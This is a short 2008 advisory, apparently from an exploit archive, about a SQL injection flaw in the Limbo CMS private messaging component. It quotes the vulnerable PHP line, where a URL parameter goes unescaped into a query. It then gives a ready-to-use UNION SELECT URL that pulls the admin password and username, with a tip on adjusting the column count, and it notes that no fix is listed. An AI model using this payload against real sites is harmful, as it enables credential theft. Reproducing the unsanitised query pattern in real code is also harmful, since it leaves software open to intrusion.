Limbo CMS (Private Messaging Component) SQL Injection Vulnerability

2008-10-21 08:01:03

/*

Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability
--------------------------------------------------------------------------
StAkeR[at]hotmail[dot]it
http://www.limboportal.com/index.php/option/downloads/task/download/id/108
--------------------------------------------------------------------------

com_privmsg/open.php

31. if (isset($_GET['status']))
32. {
33. header('Location:index.php?option=pms&page=open&id='.$_GET['id'].'');
34. }
35.
36. $openrow= $conn->GetRow("SELECT * FROM #__pms WHERE id='$_GET[id]' AND username='$my->username'");
37.


- index.php?option=pms&page=open&id='1+union+all+select+password,username+from+[prefix_users]+where+id=1/*

(Syntax Error) Change number of columns (Ex: 0,0,0,username,password)



*/

#

Fixes

No fixes

In order to submit a new fix you need to be registered.